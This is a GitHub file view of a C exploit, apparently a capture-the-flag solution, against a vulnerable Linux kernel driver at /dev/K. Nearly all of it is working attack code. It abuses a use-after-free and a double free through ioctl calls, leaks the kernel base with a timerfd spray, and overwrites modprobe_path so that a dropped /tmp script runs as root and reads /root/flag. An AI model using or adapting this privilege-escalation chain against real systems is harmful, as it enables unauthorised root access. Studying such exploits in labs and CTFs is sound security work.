-
Notifications
You must be signed in to change notification settings - Fork 71
Expand file tree
/
Copy pathwriteup01.c
More file actions
136 lines (102 loc) · 3.26 KB
/
Copy pathwriteup01.c
File metadata and controls
136 lines (102 loc) · 3.26 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#define WRITE 0x1111
#define READ 0x2222
#define FREE 0x3333
struct data{
unsigned long size;
char *buff;
};
struct data Data;
char buff[0x1000];
//######################################################################
//######################################################################
void fatal(const char *msg) {
perror(msg);
exit(1);
}
void pausa() {
printf("[!] PAUSA - pulsa una tecla.\n");
getchar();
}
int open_file(char *file, int flags, int verbose){
int fd = open(file, flags);
if (fd < 0) {
fatal("[!] Error al abrir el archivo.");
} else {
if (verbose) printf("[*] %s abierto con fd %d.\n", file, fd);
}
return fd;
}
void dump_buffer(void *buf, int len) {
printf("\n[i] Dumping %d bytes.\n\n", len);
for (int i = 0; i < len; i += 0x10){
printf("ADDR[%d, 0x%x]:\t%016lx: 0x", i / 0x08, i, (unsigned long)(buf + i));
for (int j = 7; j >= 0; j--) printf("%02x", *(unsigned char *)(buf + i + j));
printf(" - 0x");
for (int j = 7; j >= 0; j--) printf("%02x", *(unsigned char *)(buf + i + j + 8));
puts("");
}
}
void timer_leak() {
int timefd = syscall(__NR_timerfd_create, CLOCK_REALTIME, 0);
struct itimerspec itimerspec;
itimerspec.it_interval.tv_sec = 0;
itimerspec.it_interval.tv_nsec = 0;
itimerspec.it_value.tv_sec = 100;
itimerspec.it_value.tv_nsec = 0;
timerfd_settime(timefd, 0, &itimerspec, 0);
close(timefd);
sleep(1);
}
void setup() {
system("echo -ne '#!/bin/sh\ncat /root/flag > /tmp/flag' > /tmp/p");
system("chmod a+x /tmp/p");
system("echo -ne '\xff\xff\xff\xff' > /tmp/executeme");
system("chmod a+x /tmp/executeme");
printf("[i] Modprobe Setup done.\n");
}
void finish() {
system("/tmp/executeme ; cat /tmp/flag");
}
//######################################################################
//######################################################################
int main(){
setup();
int fd = open_file("/dev/K", O_RDWR, 1);
memset(buff, 0x41, 0x1000);
Data.size = 0x100;
Data.buff = buff;
ioctl(fd, WRITE, &Data);
memset(buff, 0, 0x1000);
ioctl(fd, FREE, &Data);
timer_leak();
ioctl(fd, READ, &Data);
unsigned long kernel_base = *((unsigned long *)Data.buff + 5) - 0x2fdb30;
printf("[i] Kernel Base: 0x%lx\n", kernel_base);
unsigned long modprobe = kernel_base + (0xffffffff8ab3f100 - 0xffffffff89000000);
printf("[i] Modprobe: 0x%lx\n", modprobe);
ioctl(fd, WRITE, &Data);
memset(buff, 0, 0x1000);
Data.size = 0x80;
ioctl(fd, WRITE, &Data);
ioctl(fd, READ, &Data);
ioctl(fd, FREE, &Data);
ioctl(fd, FREE, &Data);
ioctl(fd, READ, &Data);
dump_buffer(Data.buff, 0x80);
*(unsigned long*)(buff + 0x40) = (unsigned long)modprobe - 0x30;
memcpy(buff + 0x30, "/tmp/p\x00", 7);
ioctl(fd, WRITE, &Data);
ioctl(fd, WRITE, &Data);
ioctl(fd, WRITE, &Data);
finish();
return 0;
}